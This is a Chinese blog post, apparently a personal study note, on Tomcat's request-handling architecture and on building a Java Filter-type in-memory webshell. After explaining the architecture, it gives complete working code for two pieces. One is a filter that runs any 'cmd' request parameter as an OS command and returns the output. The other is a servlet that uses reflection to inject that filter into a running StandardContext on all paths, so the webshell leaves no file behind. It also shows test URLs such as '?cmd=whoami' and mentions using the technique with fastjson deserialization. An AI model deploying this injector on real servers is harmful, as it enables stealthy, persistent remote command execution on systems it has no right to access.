Java Filter型内存马的学习与实践

完全参考:https://www.cnblogs.com/nice0e3/p/14622879.html

这篇笔记,来源逗神的指点,让我去了解了内存马,这篇笔记记录的是filter类型的内存马

内存马的学习基本都是参考上面标注的博客文章,主要自己过一遍学习!

什么是内存马

什么是内存马,内存马即是无文件马,只存在于内存中。我们知道常见的WebShell都是有一个页面文件存在于服务器上,然而内存马则不会存在文件形式。

落地的JSP文件十分容易被设备给检测到,从而得到攻击路径,从而删除webshell以及修补漏洞,内存马也很好的解决了这个问题。

Tomcat请求处理结构

在这里我们来学习下Tomcat的结构,以下是Tomcat对请求处理流程的结构图

Server

即指的WEB服务器,一个Server包括多个Service。

Service

在Connector和Engine外面包了一层(可看上图),把它们组装在一起,对外提供服务。

一个Service可以包含多个Connector,但是只能包含一个Engine,其中Connector的作用是从客户端接收请求,Engine的作用是处理接收进来的请求。

Connector

Connector(连接器)组件是Tomcat最核心的两个组件之一,主要的职责就是负责接收客户端连接和客户端请求的处理加工Request和Response对象

每个Connector都将指定一个端口进行监听,分别负责对请求报文的解析和响应报文组装,解析过程生成Request对象,而组装过程涉及Response对象。

Tomcat有两个典型的Connector:

1、一个直接侦听来自browser的http请求,一个侦听来自其它WebServer的请求Coyote Http/1.1 Connector 在端口8080处侦听来自客户browser的http请求。

2、另外一个是Coyote JK2 Connector 在端口8009处侦听来自其它WebServer(Apache)的servlet/jsp代理请求。

Engine

可以用来配置多个虚拟主机,每个虚拟主机都有一个域名当Engine获得一个请求时,它把该请求匹配到某个Host上,然后把该请求交给该Host来处理Engine有一个默认虚拟主机,当请求无法匹配到任何一个Host上的时候,将交给该默认Host来处理。

Host:

每一个Host代表一个虚拟主机,每个虚拟主机和某个网络域名Domain Name相匹配,这个点可以利用是hosts碰撞

每个虚拟主机下都可以部署(deploy)一个或者多个Web App,每个Web App对应于一个Context,有一个Context path,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理匹配的方法是"最长匹配",所以一个path==""的Context将成为该Host的默认Context所有无法和其它Context的路径名匹配的请求都将最终和该默认Context匹配。

Context:

一个Context对应于一个Web Application,一个WebApplication由一个或者多个Servlet组成。

Context在创建的时候将根据配置文件$CATALINA_HOME/conf/web.xml和$WEBAPP_HOME/WEB-INF/web.xml载入Servlet类,当Context获得请求时,将在自己的映射表(mapping table)中寻找相匹配的Servlet类。如果找到,则执行该类,获得请求的回应,并返回。

这里的映射表其实就是在编写完每个Servlet的时候,需要在web.xml中写到对应的映射标签!

Tomcat的解析流程

还是从Connector开始,Connector将在某个指定的端口上来监听客户的请求,把从socket传递过来的数据,封装成Request,传递给Engine来处理,并从Engine处获得响应并返回给客户端。

Engine:最顶层容器组件,其下可以包含多个 Host。
Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。
Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。
Wrapper:一个 Wrapper 代表一个 Servlet。

ProtocolHandler:

在Connector中,包含了多个组件,Connector使用ProtocolHandler处理器来进行加工。

不同的ProtocolHandler代表不同连接类型。ProtocolHandler处理器可以用看作是协议处理统筹者,通过管理其他工作组件实现对请求的处理。

ProtocolHandler 包含了三个非常重要的组件,这三个组件分别是:

  • Endpoint: 负责接受,处理socket网络连接
  • Processor: 负责将从Endpoint接受的socket连接根据协议类型封装成request
  • Adapter:负责将封装好的Request交给Container进行处理,解析为可供Container调用的继承了ServletRequest接口、ServletResponse接口的对象。

请求经Connector处理完毕后,传递给Container进行处理。

Container

Container容器则是负责封装和管理Servlet处理用户的Servlet请求,并返回对象给web用户的模块。

Container 处理请求,内部是使用Pipeline-Value管道来处理的,每个 Pipeline 都有特定的 Value(BaseValue),BaseValue 会在最后执行。

上层容器的BaseValue 会调用下层容器的管道,FilterChain 其实就是这种模式,FilterChain 相当于 Pipeline,每个 Filter 相当于一个 Value。

4 个容器的BaseValve 分别是StandardEngineValve 、StandardHostValve 、StandardContextValve 和StandardWrapperValve。

每个Pipeline 都有特定的Value ,而且是在管道的最后一个执行,这个Valve 叫BaseValve,BaseValve 是不可删除的。

最终的流程图如下:

上面的全部都是抄的,我得用自己的话来加深理解,首先我们在tomcat的解析流程中,我们先了解到的是Connector,它又被称作为连接器,真正起到作用是Connector内部的ProtocolHandler处理器,这个ProtocolHandler处理器封装用户发起的网络请求所对应的Request对象,和当内部处理完返回过来的Response对象。

那么当Connector的ProtocolHandler处理器封装完Request对象之后,就会发送给Container,这个Container容器则是负责封装和管理Servlet和处理用户的servlet请求,这里所谓的Servlet请求其实就是处理Request对象,在处理请求中,起作用的角色则是Container中的Pipeline-Value管道来处理的,当Pipeline-Value处理完之后,接着就会看到一个FilterChain对象!

FilterChain对象

这里继续将FilterChain,这个对象大家肯定都很熟悉啊,因为在学习Servlet的时候,这个是经常出现的,比如我们想要对传进来的数据先做一定的处理,然后再到Servlet对象中进行处理,这里都会用到这个FilterChain对象

过滤链(FilterChain):在一个 Web 应用程序中可以注册多个 Filter 程序,每个 Filter 程序都可以针对某一个 URL 进行拦截。

如果多个 Filter 程序都对同一个 URL 进行拦截,那么这些 Filter 就会组成一个Filter 链(也称过滤器链)

小知识点:在开发中,当我们想要进行多个FilterChain同时作用的时候,那么我们此时还会用到该对象中的doFilter方法来进行传递处理!如果只有一个Filter也需要,默认它则转发给对应的Servlet!

整体的流程:

Server :

  • Service
    -- Connector: 客户端接收请求
    --- ProtocolHandler: 管理其他工作组件实现对请求的处理
    ---- Endpoint: 负责接受,处理socket网络连接
    ---- Processor: 负责将从Endpoint接受的socket连接根据协议类型封装成request
    ---- Adapter: 负责将封装好的Request交给Container进行处理,解析为可供Container调用的继承了ServletRequest接口、ServletResponse接口的对象
    --- Container: 负责封装和管理Servlet 处理用户的servlet请求,并返回对象给web用户的模块
    -- Engine:处理接收进来的请求
    --- Host: 虚拟主机
    --- Host: 虚拟主机
    --- Host: 虚拟主机
    --- Context: 相当于一个web应用
    --- Context:相当于一个web应用
    --- Context:相当于一个web应用

到了这里,我们来实现一个简单的FilterChain吧

用到的POM依赖

<dependencies>
        <!-- https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api -->
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>javax.servlet-api</artifactId>
            <version>4.0.1</version>
            <scope>provided</scope>
        </dependency>

        <!-- https://mvnrepository.com/artifact/javax.servlet.jsp/javax.servlet.jsp-api -->
        <dependency>
            <groupId>javax.servlet.jsp</groupId>
            <artifactId>javax.servlet.jsp-api</artifactId>
            <version>2.3.3</version>
            <scope>provided</scope>
        </dependency>

Servlet中实现的代码如下:

public class MyServlet extends HttpServlet {


    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("我是doGet方法");
        resp.getWriter().print("WOW 我爱上了你");
    }


    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

过滤器实现的代码:

public class MyFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("WOW Filter init");
    }


    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        response.setCharacterEncoding("utf-8");
        request.setCharacterEncoding("utf-8");
        response.setContentType("text/html;Charset=UTF-8");
        System.out.println("我接收到了请求,并且马上就要进行过滤了");
        chain.doFilter(request, response); //chain.doFilter将请求转发给过滤器链下一个filter,如果没有filter那就是转发给Servlet,你需要请求的资源
        System.out.println("我过滤完了...");
    }


    @Override
    public void destroy() {
        System.out.println("WOW Filter destroy");
    }
}

结果如下,可以看到是 过滤器先接收到请求,然后再转发给Servlet,然后Servlet走了之后又回到过滤器中再之后doFilter之后的内容!

内存马的实现

上面了解了关于Filter对象的学习,那么其实内存马也差不多了解了,就是对一个Filter接口实现的对象

如下先实现一个简单的Filter对象的命令执行的效果

首先那么就是在接口中进行对数据的传入进行判断,对于特殊的字段进行判断,比如"cmd","command"类似的headers来进行判断,这种实现了之后,我们还需要进行全局过滤,就是任何一个路径都需要进行过滤,所以在Servlet中实现的时候,映射的Mapping也需要是为/*这种形式!

如下进行实现操作:

public class MemoryFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        if (request.getParameter("cmd") != null){
            Process exec = Runtime.getRuntime().exec(request.getParameter("cmd"));
            InputStream inputStream = exec.getInputStream();
            Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
            String output = scanner.hasNext() ? scanner.next() : "";
            response.getWriter().write(output);
            response.getWriter().flush();
        }
        System.out.println("过滤器调用完毕,开始转发给Servlet...");
        chain.doFilter(request,response);

    }

    @Override
    public void destroy() {

    }
}

接着再加上映射关系:

当请求URL为:http://127.0.0.1:8080/?cmd=whoami

可以发现已经成功执行命令了,并且回显在页面上

上面演示了下关于过滤链,那么对于内存马到底是如何实现的?

首先得明白一点,在实战环境下,你不可能写一个Filter对象然后又放到对方的代码中,这样子不就早getshell了

所以对于内存马,我们是需要找到一个注入点,动态的在内存中创建一个Filter对象,这样子的话就是一个真正的内存马!

那么如何可以动态的在内存中创建Filter对象呢?

知识点1:ServletContext

web应用启动的时候,都会产生一个ServletContext为接口的对象,因为在web中这个ServletContext对象的一些数据能够保证Servlets稳定运行

那么该对象如何获得?

在tomcat容器中中ServletContext的实现类是ApplicationContext类

在web应用中,获取的ServletContext实际上是ApplicationContextFacade的对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,所以说我们在tomcat中拿到StandardContext则是去获取ApplicationContextFacade这个对象。

我们这里通过一个ServletContext servletContext = this.getServletContext();来进行观察这个servletContext是不是我们上面所说的ApplicationContextFacade这个对象!

如下所示下一个断点

当前获取到了ServletContext的实现类,如下所示

我们可以看到这个名为ApplicationContextFacade类,到这里可以说明Tomcat的ServletContext对象确实是ApplicationContextFacade对象

知识点2:组装Filters的流程

我们还需要看下Filter的调用流程是怎么样的?

这里想要调试tomcat的话,需要注意的记得把tomcat下的lib文件导入到idea工程中,要不然idea在调试的时候是找不到的!

找到ApplicationFilterChain对象中,internalDoFilter方法上打上断点(为啥要在这里打断点,后面有说明)

继续跟,可以看到这个internalDoFilter方法获取到了我们所实现的MemoryFilter对象

internalDoFilter方法中接着又会开始调用MemoryFilter对象中实现的doFilter方法

接着就是来到了我们所实现的doFilter的方法,也就是我们执行命令的方法

那么我为什么下断点会下在ApplicationFilterChain对象中的internalDoFilter呢?

那还得看ApplicationFilterChain这个对象是什么?大家可以理解为它是一个调用Filter对象的一个调度类,就是专门用来调用所有实现的Filter对象的doFilter方法,而其中的internalDoFilter就是去调用我们Filter对象中实现的doFilter方法的一个手段

ApplicationFilterChain这个对象又是哪来的呢?我们可以从调用栈中进行观察,下面的图中可以看到StandardWrapperValve这个类中的invoke方法来进行调用的

来到这个StandardWrapperValve的调用栈invoke方法中,可以看到是通过doFilter来进行调用

在StandardWrapperValve类的invoke中,往上拉,其中可以看到这里的filterChain为ApplicationFilterChain的实例化,到这里就可以思考下,上面说到的filterChain.doFilter的filterChain,原来filterChain属性是通过ApplicationFilterFactory.createFilterChain这个方法所获得的,这里继续跟到createFilterChain方法中进行查看

跟进createFilterChain的方法中,它会获取一个StandardContext对象(这个就是我们先引入的知识点1),通过这个对象的findFilterMaps方法来获得所有需要调用的Filter对象,获得到的Filter对象都会放到一个filterMaps的FilterMap数组中去,可以看到当前获得的就两个Filter,其中一个是tomcat默认的,还有个就是我们自己实现的MemoryFilter对象

接着又会开始遍历这个FilterMap数组中的每个FilterMap对象(每个FilterMap都包含了每个Filter的相关信息),每次拿到一个FilterMap对象就是通过matchDispatcher和matchFiltersURL来比较访问的路由和Filter对象的路由是否有包含关系,最后会每个Filter对象相关信息都存储到了FilterConfig对象中,然后再把FilterConfig对象放到了filterChain这个属性中,而这里的filterChain属性就是外面的这个ApplicationFilterChain对象,到这里要调用的每个Filter对象都拼装好了,全部都放入了ApplicationFilterChain对象,ApplicationFilterChain这个对象我们上面也讲过,是一个调度类,专门调用每个Filter的doFilter方法。

知识点3:FilterConfig

现在已经知道了ApplicationFilterChain这个对象的由来和它的作用,我们继续整理下,先是经过一系列的处理最后拿到了ApplicationFilterChain这个对象,这个对象中包含了每个Filter的相关配置信息,最后则开始调用其中的doFilter方法

继续来看createFilterChain方法帮我们做的事情,它实现的Filter的添加,createFilterChain这个方法返回的filterChain最终会被进行调用,那么我们如果能实现在filterChain进行插入的话,那是不是我们就成功的实现了添加自定义的Filter对象?

答案是的,那需要如何实现?回到这个createFilterChain方法中,我们可以看下如下,每次成功添加一个filterConfig则意味着Filter对象的成功被添加进去

这个FilterConfig对象中包含着如下属性

该对象有三个重要的属性,一个是ServletContext,一个是filter,一个是filterDef

那么想要实现一个完整的filterConfig,那么也就是需要这三个,一个是ServletContext,一个是filter,一个是filterDef

开始理清思路:

1、获取当前应用的ServletContext对象

2、再获取filterConfigs

2、接着实现自定义想要注入的filter对象

4、然后为自定义对象的filter创建一个FilterDef

4、最后把 ServletContext对象 filter对象 FilterDef全部都设置到filterConfigs即可完成内存马的实现

这里我们第一步为什么要先获取ServletContext对象,原因就是想要获取filterConfigs就需要通过ServletContext来获取!

实现的代码如下:

public class InjectMemoryServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        Field Configs = null;
        Map filterConfigs;
        try {
            //这里是反射获取ApplicationContext的context,也就是standardContext
            ServletContext servletContext = req.getSession().getServletContext();

            Field appctx = servletContext.getClass().getDeclaredField("context");
            appctx.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

            String FilterName = "cmd_Filter";
            Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            filterConfigs = (Map) Configs.get(standardContext);

            if (filterConfigs.get(FilterName) == null){
                Filter filter = new Filter() {

                    @Override
                    public void init(FilterConfig filterConfig) throws ServletException {

                    }

                    @Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                        HttpServletRequest req = (HttpServletRequest) servletRequest;
                        if (req.getParameter("cmd") != null){

                            InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
                            Scanner s = new Scanner(in).useDelimiter("\\A");
                            String output = s.hasNext() ? s.next() : "";
                            servletResponse.getWriter().write(output);

                            return;
                        }
                        filterChain.doFilter(servletRequest,servletResponse);
                    }

                    @Override
                    public void destroy() {

                    }
                };
                //反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
                Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
                Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
                FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
                o.setFilter(filter);
                o.setFilterName(FilterName);
                o.setFilterClass(filter.getClass().getName());
                standardContext.addFilterDef(o);
                //反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
                Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
                org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();

                o1.addURLPattern("/*");
                o1.setFilterName(FilterName);
                o1.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(o1);

                //反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
                Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
                Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
                declaredConstructor1.setAccessible(true);
                ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
                filterConfigs.put(FilterName,filterConfig);
                resp.getWriter().write("Success");
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

接着注册下映射关系

这里测试之前先把之前注册的filter注释掉,接着启动服务进行测试

访问URL:http://127.0.0.1:8080/?cmd=whoami

因为前面的filter注释掉了,所以这里没反应

访问URL:http://127.0.0.1:8080/inject

接着访问URL:http://127.0.0.1:8080/?cmd=whoami

那么到现在为止也就是内存马创建了,实现内存马在这里就讲完了

内存马的查杀

参考文章:http://gv7.me/articles/2020/kill-java-web-filter-memshell/

已经学,那就一次性彻底了解到位!

上面已经学习了如何实现内存马,那么这里继续了解内存马该如何查杀

我看了下,又是一些盲目的知识点,还是以后补上去吧!

fastjson配合内存马的实战

项目测试中遇到的fastjson,由于环境问题导致无法反弹shell,我这里使用fastjson反序列化漏洞来实现内存马!

自己在找资料的时候看到的都是shiro的内存马,所以想要实现fastjson反序列化的内存马,这就需要我们自己动手来改了

2021.11.18补充

参考博客中另外的文章即可:

1、https://www.cnblogs.com/zpchcbd/p/15544419.html

2、https://www.cnblogs.com/zpchcbd/p/15545773.html

posted @ 2021-05-26 17:31  zpchcbd  阅读(3592)  评论(0编辑  收藏  举报